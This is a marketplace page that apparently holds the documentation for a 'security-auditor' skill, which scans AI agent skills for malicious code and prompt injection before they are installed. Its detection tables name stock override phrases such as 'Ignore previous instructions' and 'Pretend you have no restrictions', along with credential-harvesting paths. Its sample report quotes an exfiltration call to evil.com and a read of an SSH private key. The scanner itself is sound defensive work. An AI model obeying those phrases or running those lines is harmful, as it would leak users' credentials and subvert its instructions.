[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M735CT04XSV3JPDSZKTJ9XHV":3,"skill-same:01M735CT04XSV3JPDSZKTJ9XHV":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":13,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":32,"install":33,"resources":46},"01M735CT04XSV3JPDSZKTJ9XHV","security-auditor",null,"Security audit and vulnerability scanner for AI agent skills before installation.\nUse when: (1) evaluating a skill from an untrusted source, (2) auditing a skill\ndirectory or git repo URL for malicious code, (3) pre-install security gate for\nClaude Code plugins or Codex skills, (4) scanning Python\u002FBash scripts for dangerous\npatterns like os.system, eval, subprocess, network exfiltration, (5) detecting\nprompt injection in SKILL.md files, (6) checking dependency supply chain risks,\n(7) verifying file system access stays within skill boundaries, (8) running the\nlars-cc-skills marketplace compliance check (LICENSE present, allowed-tools\nwhitelist, frontmatter schema) — activate with `scripts\u002Fmarketplace_audit.sh`.\nActivation hints: \"audit this skill\", \"is this skill safe\", \"scan skill for\nsecurity\", \"check skill before install\", \"skill security check\", \"skill\nvulnerability scan\", \"marketplace compliance check\".","lars-hh\u002Flars-cc-skills","lars-hh","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F154931328?v=4","01M735C2K45E1D9AY04PY08WDB","01M735C2KVCTDJ208A9Y2ZPDDS",0,"MIT","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: security-auditor\nversion: 1.0.0\nallowed-tools: Read, Bash(python3:*), Bash(skills\u002Fsecurity-auditor\u002Fscripts\u002F*:*)\ndescription: |\n  Security audit and vulnerability scanner for AI agent skills before installation.\n  Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill\n  directory or git repo URL for malicious code, (3) pre-install security gate for\n  Claude Code plugins or Codex skills, (4) scanning Python\u002FBash scripts for dangerous\n  patterns like os.system, eval, subprocess, network exfiltration, (5) detecting\n  prompt injection in SKILL.md files, (6) checking dependency supply chain risks,\n  (7) verifying file system access stays within skill boundaries, (8) running the\n  lars-cc-skills marketplace compliance check (LICENSE present, allowed-tools\n  whitelist, frontmatter schema) — activate with `scripts\u002Fmarketplace_audit.sh`.\n  Activation hints: \"audit this skill\", \"is this skill safe\", \"scan skill for\n  security\", \"check skill before install\", \"skill security check\", \"skill\n  vulnerability scan\", \"marketplace compliance check\".\nlicense: MIT\n---\n\n> **Learnings (Maintainer):** bekannte Probleme\u002FErkenntnisse zu diesem Skill in `docs\u002Fskill-learnings.md` → Sektion „security-auditor\".\n\n# Security Auditor\n\nScan and audit AI agent skills for security risks before installation. Produces a\nclear **PASS \u002F WARN \u002F FAIL** verdict with findings and remediation guidance.\n\nTwo modes:\n\n| Mode | Script | Use when |\n|------|--------|----------|\n| **Generic security audit** | `scripts\u002Fskill_security_auditor.py` | You are about to install a skill from a third-party repo and want to scan it for malicious patterns. |\n| **Marketplace compliance** | `scripts\u002Fmarketplace_audit.sh` | You are adding a skill to `lars-cc-skills` (or any marketplace following the same standard) and want to verify LICENSE, `allowed-tools` discipline, and frontmatter schema. |\n\n## Quick Start\n\n```bash\n# Audit a local skill directory\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F\n\n# Audit a skill from a git repo\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Frepo --skill skill-name\n\n# Audit with strict mode (any WARN becomes FAIL)\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --strict\n\n# Output JSON report\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --json\n```\n\n## What Gets Scanned\n\n### 1. Code Execution Risks (Python\u002FBash Scripts)\n\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\n\n| Category | Patterns Detected | Severity |\n|----------|-------------------|----------|\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\n| **Credential harvesting** | reads from `~\u002F.ssh`, `~\u002F.aws`, `~\u002F.config`, env var extraction patterns | 🔴 CRITICAL |\n| **File system abuse** | writes outside skill dir, `\u002Fetc\u002F`, `~\u002F.bashrc`, `~\u002F.profile`, symlink creation | 🟡 HIGH |\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\n\n### 2. Prompt Injection in SKILL.md\n\nScans SKILL.md and all `.md` reference files for:\n\n| Pattern | Example | Severity |\n|---------|---------|----------|\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n\n### 3. Dependency Supply Chain\n\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Known vulnerabilities** | Cross-reference with PyPI\u002Fnpm advisory databases | 🔴 CRITICAL |\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\n\n### 4. File System & Structure\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\n\n## Audit Workflow\n\n1. **Run the scanner** on the skill directory or repo URL\n2. **Review the report** — findings grouped by severity\n3. **Verdict interpretation:**\n   - **✅ PASS** — No critical or high findings. Safe to install.\n   - **⚠️ WARN** — High\u002Fmedium findings detected. Review manually before installing.\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\n4. **Remediation** — each finding includes specific fix guidance\n\n## Reading the Report\n\n```\n╔══════════════════════════════════════════════╗\n║  SKILL SECURITY AUDIT REPORT                ║\n║  Skill: example-skill                        ║\n║  Verdict: ❌ FAIL                            ║\n╠══════════════════════════════════════════════╣\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\n╚══════════════════════════════════════════════╝\n\n🔴 CRITICAL [CODE-EXEC] scripts\u002Fhelper.py:42\n   Pattern: eval(user_input)\n   Risk: Arbitrary code execution from untrusted input\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\n\n🔴 CRITICAL [NET-EXFIL] scripts\u002Fanalyzer.py:88\n   Pattern: requests.post(\"https:\u002F\u002Fevil.com\u002Fcollect\", data=results)\n   Risk: Data exfiltration to external server\n   Fix: Remove outbound network calls or verify destination is trusted\n\n🟡 HIGH [FS-BOUNDARY] scripts\u002Fscanner.py:15\n   Pattern: open(os.path.expanduser(\"~\u002F.ssh\u002Fid_rsa\")) \u003C!-- noqa: SEC-AUDITOR -->\n   Risk: Reads SSH private key outside skill scope\n   Fix: Remove filesystem access outside skill directory\n\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\n   Pattern: requests>=2.0\n   Risk: Unpinned dependency may introduce vulnerabilities\n   Fix: Pin to specific version: requests==2.31.0\n```\n\n## Advanced Usage\n\n### Audit a Skill from Git Before Cloning\n\n```bash\n# Clone to temp dir, audit, then clean up\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill-repo --skill my-skill --cleanup\n```\n\n### CI\u002FCD Integration\n\n```yaml\n# GitHub Actions step\n- name: \"audit-skill-security\"\n  run: |\n    python3 skill-security-auditor\u002Fscripts\u002Fskill_security_auditor.py .\u002Fskills\u002Fnew-skill\u002F --strict --json > audit.json\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\n```\n\n### Batch Audit\n\n```bash\n# Audit all skills in a directory\nfor skill in skills\u002F*\u002F; do\n  python3 scripts\u002Fskill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\ndone\n```\n\n## Marketplace Compliance Mode (lars-cc-skills)\n\nIn addition to the generic security audit, this skill ships a marketplace-compliance\nwrapper that enforces the three rules every skill in the `lars-cc-skills` marketplace\nmust follow before it can be merged.\n\n```bash\n# Run from the repo root (where skills\u002F lives).\n\n# Run all three marketplace checks against one skill\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh skills\u002F\u003Cskill-name>\u002F\n\n# Run against every skill in a repo (loops skills\u002F*\u002F)\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh --all skills\u002F\n\n# Combined: generic security audit + marketplace compliance\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh --with-security skills\u002F\u003Cskill-name>\u002F\n```\n\nThe wrapper produces a unified `PASS \u002F WARN \u002F FAIL` verdict and exits non-zero on\nFAIL, so it can be wired into CI.\n\n### Check 1 — LICENSE file present\n\n| Check | Why |\n|-------|-----|\n| `LICENSE` file exists in `skills\u002F\u003Cname>\u002F` | Manifest-level `\"license\": \"MIT\"` is not enough — the file itself must be redistributed alongside the skill. This is the lesson learned the hard way from rejecting `ComposioHQ\u002Fawesome-claude-skills` (manifest-MIT, no LICENSE file, default = \"all rights reserved\"). |\n| LICENSE matches the SPDX identifier declared in `origin.yaml` | Catches drift between what the metadata claims and what the file says. |\n| SPDX is in the allow-list: `MIT`, `Apache-2.0`, `BSD-2-Clause`, `BSD-3-Clause`, `ISC` | GPL \u002F AGPL is incompatible with the marketplace MIT umbrella. |\n\n### Check 2 — `allowed-tools` whitelist discipline\n\n`allowed-tools` in the SKILL.md frontmatter must be specific, not blanket:\n\n| Pattern | Verdict |\n|---------|---------|\n| `Bash(npm test:*), Bash(git diff:*), Read, Edit` | ✅ PASS — explicit per-command bash allowlist |\n| `Bash(*)` or `Bash:*` | 🟡 WARN — wildcard bash, requires justification in `origin.yaml notes` |\n| Missing `allowed-tools` field | ⚪ INFO — skill inherits the user's defaults, document why |\n| Generic-but-bounded: `Read, Grep, Glob` | ✅ PASS — read-only tools |\n\nThe wrapper checks for the wildcard pattern explicitly and flags it.\n\n### Check 3 — Frontmatter schema compliance\n\nRequired fields (matches `docs\u002Fadding-a-skill.md`):\n\n| Field | Required for | Notes |\n|-------|--------------|-------|\n| `name` | every skill | Lowercase, kebab-case, matches the directory name in `skills\u002F`. |\n| `description` | every skill | Multi-line acceptable. Must contain at least one trigger phrase. |\n| `version` | refined skills | Vanilla skills can omit; refined skills must track divergence. |\n| `license` | refined skills | Must match the SPDX identifier in `origin.yaml`. |\n\nThe wrapper parses the YAML frontmatter and reports any missing required field as\na FAIL.\n\n### Combining with the security audit\n\n`--with-security` runs the generic Python scanner first, then the three\nmarketplace checks. The final verdict is the worst of the two:\n\n| Security | Compliance | Combined |\n|----------|-----------|----------|\n| PASS | PASS | ✅ PASS |\n| WARN | PASS | 🟡 WARN |\n| any | FAIL | ❌ FAIL |\n| FAIL | any | ❌ FAIL |\n\n## Threat Model Reference\n\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references\u002Fthreat-model.md](references\u002Fthreat-model.md).\n\n## Limitations\n\n- Cannot detect logic bombs or time-delayed payloads with certainty\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\n- Network destination reputation checks require internet access\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\n\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification.\n","> **Learnings (Maintainer):** bekannte Probleme\u002FErkenntnisse zu diesem Skill in `docs\u002Fskill-learnings.md` → Sektion „security-auditor\".\n\n# Security Auditor\n\nScan and audit AI agent skills for security risks before installation. Produces a\nclear **PASS \u002F WARN \u002F FAIL** verdict with findings and remediation guidance.\n\nTwo modes:\n\n| Mode | Script | Use when |\n|------|--------|----------|\n| **Generic security audit** | `scripts\u002Fskill_security_auditor.py` | You are about to install a skill from a third-party repo and want to scan it for malicious patterns. |\n| **Marketplace compliance** | `scripts\u002Fmarketplace_audit.sh` | You are adding a skill to `lars-cc-skills` (or any marketplace following the same standard) and want to verify LICENSE, `allowed-tools` discipline, and frontmatter schema. |\n\n## Quick Start\n\n```bash\n# Audit a local skill directory\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F\n\n# Audit a skill from a git repo\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Frepo --skill skill-name\n\n# Audit with strict mode (any WARN becomes FAIL)\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --strict\n\n# Output JSON report\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --json\n```\n\n## What Gets Scanned\n\n### 1. Code Execution Risks (Python\u002FBash Scripts)\n\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\n\n| Category | Patterns Detected | Severity |\n|----------|-------------------|----------|\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\n| **Credential harvesting** | reads from `~\u002F.ssh`, `~\u002F.aws`, `~\u002F.config`, env var extraction patterns | 🔴 CRITICAL |\n| **File system abuse** | writes outside skill dir, `\u002Fetc\u002F`, `~\u002F.bashrc`, `~\u002F.profile`, symlink creation | 🟡 HIGH |\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\n\n### 2. Prompt Injection in SKILL.md\n\nScans SKILL.md and all `.md` reference files for:\n\n| Pattern | Example | Severity |\n|---------|---------|----------|\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL | \u003C!-- noqa: SEC-AUDITOR -->\n\n### 3. Dependency Supply Chain\n\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Known vulnerabilities** | Cross-reference with PyPI\u002Fnpm advisory databases | 🔴 CRITICAL |\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\n\n### 4. File System & Structure\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\n\n## Audit Workflow\n\n1. **Run the scanner** on the skill directory or repo URL\n2. **Review the report** — findings grouped by severity\n3. **Verdict interpretation:**\n   - **✅ PASS** — No critical or high findings. Safe to install.\n   - **⚠️ WARN** — High\u002Fmedium findings detected. Review manually before installing.\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\n4. **Remediation** — each finding includes specific fix guidance\n\n## Reading the Report\n\n```\n╔══════════════════════════════════════════════╗\n║  SKILL SECURITY AUDIT REPORT                ║\n║  Skill: example-skill                        ║\n║  Verdict: ❌ FAIL                            ║\n╠══════════════════════════════════════════════╣\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\n╚══════════════════════════════════════════════╝\n\n🔴 CRITICAL [CODE-EXEC] scripts\u002Fhelper.py:42\n   Pattern: eval(user_input)\n   Risk: Arbitrary code execution from untrusted input\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\n\n🔴 CRITICAL [NET-EXFIL] scripts\u002Fanalyzer.py:88\n   Pattern: requests.post(\"https:\u002F\u002Fevil.com\u002Fcollect\", data=results)\n   Risk: Data exfiltration to external server\n   Fix: Remove outbound network calls or verify destination is trusted\n\n🟡 HIGH [FS-BOUNDARY] scripts\u002Fscanner.py:15\n   Pattern: open(os.path.expanduser(\"~\u002F.ssh\u002Fid_rsa\")) \u003C!-- noqa: SEC-AUDITOR -->\n   Risk: Reads SSH private key outside skill scope\n   Fix: Remove filesystem access outside skill directory\n\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\n   Pattern: requests>=2.0\n   Risk: Unpinned dependency may introduce vulnerabilities\n   Fix: Pin to specific version: requests==2.31.0\n```\n\n## Advanced Usage\n\n### Audit a Skill from Git Before Cloning\n\n```bash\n# Clone to temp dir, audit, then clean up\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill-repo --skill my-skill --cleanup\n```\n\n### CI\u002FCD Integration\n\n```yaml\n# GitHub Actions step\n- name: \"audit-skill-security\"\n  run: |\n    python3 skill-security-auditor\u002Fscripts\u002Fskill_security_auditor.py .\u002Fskills\u002Fnew-skill\u002F --strict --json > audit.json\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\n```\n\n### Batch Audit\n\n```bash\n# Audit all skills in a directory\nfor skill in skills\u002F*\u002F; do\n  python3 scripts\u002Fskill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\ndone\n```\n\n## Marketplace Compliance Mode (lars-cc-skills)\n\nIn addition to the generic security audit, this skill ships a marketplace-compliance\nwrapper that enforces the three rules every skill in the `lars-cc-skills` marketplace\nmust follow before it can be merged.\n\n```bash\n# Run from the repo root (where skills\u002F lives).\n\n# Run all three marketplace checks against one skill\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh skills\u002F\u003Cskill-name>\u002F\n\n# Run against every skill in a repo (loops skills\u002F*\u002F)\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh --all skills\u002F\n\n# Combined: generic security audit + marketplace compliance\n.\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh --with-security skills\u002F\u003Cskill-name>\u002F\n```\n\nThe wrapper produces a unified `PASS \u002F WARN \u002F FAIL` verdict and exits non-zero on\nFAIL, so it can be wired into CI.\n\n### Check 1 — LICENSE file present\n\n| Check | Why |\n|-------|-----|\n| `LICENSE` file exists in `skills\u002F\u003Cname>\u002F` | Manifest-level `\"license\": \"MIT\"` is not enough — the file itself must be redistributed alongside the skill. This is the lesson learned the hard way from rejecting `ComposioHQ\u002Fawesome-claude-skills` (manifest-MIT, no LICENSE file, default = \"all rights reserved\"). |\n| LICENSE matches the SPDX identifier declared in `origin.yaml` | Catches drift between what the metadata claims and what the file says. |\n| SPDX is in the allow-list: `MIT`, `Apache-2.0`, `BSD-2-Clause`, `BSD-3-Clause`, `ISC` | GPL \u002F AGPL is incompatible with the marketplace MIT umbrella. |\n\n### Check 2 — `allowed-tools` whitelist discipline\n\n`allowed-tools` in the SKILL.md frontmatter must be specific, not blanket:\n\n| Pattern | Verdict |\n|---------|---------|\n| `Bash(npm test:*), Bash(git diff:*), Read, Edit` | ✅ PASS — explicit per-command bash allowlist |\n| `Bash(*)` or `Bash:*` | 🟡 WARN — wildcard bash, requires justification in `origin.yaml notes` |\n| Missing `allowed-tools` field | ⚪ INFO — skill inherits the user's defaults, document why |\n| Generic-but-bounded: `Read, Grep, Glob` | ✅ PASS — read-only tools |\n\nThe wrapper checks for the wildcard pattern explicitly and flags it.\n\n### Check 3 — Frontmatter schema compliance\n\nRequired fields (matches `docs\u002Fadding-a-skill.md`):\n\n| Field | Required for | Notes |\n|-------|--------------|-------|\n| `name` | every skill | Lowercase, kebab-case, matches the directory name in `skills\u002F`. |\n| `description` | every skill | Multi-line acceptable. Must contain at least one trigger phrase. |\n| `version` | refined skills | Vanilla skills can omit; refined skills must track divergence. |\n| `license` | refined skills | Must match the SPDX identifier in `origin.yaml`. |\n\nThe wrapper parses the YAML frontmatter and reports any missing required field as\na FAIL.\n\n### Combining with the security audit\n\n`--with-security` runs the generic Python scanner first, then the three\nmarketplace checks. The final verdict is the worst of the two:\n\n| Security | Compliance | Combined |\n|----------|-----------|----------|\n| PASS | PASS | ✅ PASS |\n| WARN | PASS | 🟡 WARN |\n| any | FAIL | ❌ FAIL |\n| FAIL | any | ❌ FAIL |\n\n## Threat Model Reference\n\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references\u002Fthreat-model.md](references\u002Fthreat-model.md).\n\n## Limitations\n\n- Cannot detect logic bombs or time-delayed payloads with certainty\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\n- Network destination reputation checks require internet access\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\n\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification.\n",{"name":5,"license":14,"version":24,"description":25,"allowed-tools":26},"1.0.0","Security audit and vulnerability scanner for AI agent skills before installation.\nUse when: (1) evaluating a skill from an untrusted source, (2) auditing a skill\ndirectory or git repo URL for malicious code, (3) pre-install security gate for\nClaude Code plugins or Codex skills, (4) scanning Python\u002FBash scripts for dangerous\npatterns like os.system, eval, subprocess, network exfiltration, (5) detecting\nprompt injection in SKILL.md files, (6) checking dependency supply chain risks,\n(7) verifying file system access stays within skill boundaries, (8) running the\nlars-cc-skills marketplace compliance check (LICENSE present, allowed-tools\nwhitelist, frontmatter schema) — activate with `scripts\u002Fmarketplace_audit.sh`.\nActivation hints: \"audit this skill\", \"is this skill safe\", \"scan skill for\nsecurity\", \"check skill before install\", \"skill security check\", \"skill\nvulnerability scan\", \"marketplace compliance check\".\n","Read, Bash(python3:*), Bash(skills\u002Fsecurity-auditor\u002Fscripts\u002F*:*)","main","e3c1cbcb4563a673727c09332f14f0e9dda14954","skills\u002Fsecurity-auditor","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills","https:\u002F\u002Fgithub.com\u002Flars-hh","2026-10-24 06:53:51",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add lars-hh\u002Flars-cc-skills --skill security-auditor",{"tool":39,"command":40},"bunx","bunx skills add lars-hh\u002Flars-cc-skills --skill security-auditor",{"tool":42,"command":43},"pnpm","pnpm dlx skills add lars-hh\u002Flars-cc-skills --skill security-auditor","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002FSKILL.md",true,[47,53,57,61,65,71],{"path":48,"resourceType":49,"resourceTypeDesc":50,"sizeBytes":51,"sourceHtmlUrl":52},"EXAMPLES.md","REFERENCE","参考文档",5455,"https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002FEXAMPLES.md",{"path":54,"resourceType":54,"resourceTypeDesc":55,"sizeBytes":56,"sourceHtmlUrl":15},"LICENSE","许可证",1072,{"path":58,"resourceType":49,"resourceTypeDesc":50,"sizeBytes":59,"sourceHtmlUrl":60},"origin.yaml",2773,"https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002Forigin.yaml",{"path":62,"resourceType":49,"resourceTypeDesc":50,"sizeBytes":63,"sourceHtmlUrl":64},"references\u002Fthreat-model.md",10237,"https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002Freferences\u002Fthreat-model.md",{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"scripts\u002Fmarketplace_audit.sh","SCRIPT","脚本",6763,"https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fmarketplace_audit.sh",{"path":72,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":73,"sourceHtmlUrl":74},"scripts\u002Fskill_security_auditor.py",43249,"https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Fskills\u002Fsecurity-auditor\u002Fscripts\u002Fskill_security_auditor.py",[76,84,92,100,108,116],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":80,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M735DR83FZFWV98D1Q7KG04C","setup-ralph","Set up and configure Geoffrey Huntley's original Ralph Wiggum autonomous coding loop in any directory with proper structure, prompts, and backpressure.","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fsetup-ralph\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fsetup-ralph\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":88,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M735DN293RX1EFE3MPDFRBPA","debug-like-expert","Deep analysis debugging mode for complex issues. Activates methodical investigation protocol with evidence gathering, hypothesis testing, and rigorous verification. Use when standard troubleshooting fails or when issues require systematic root cause 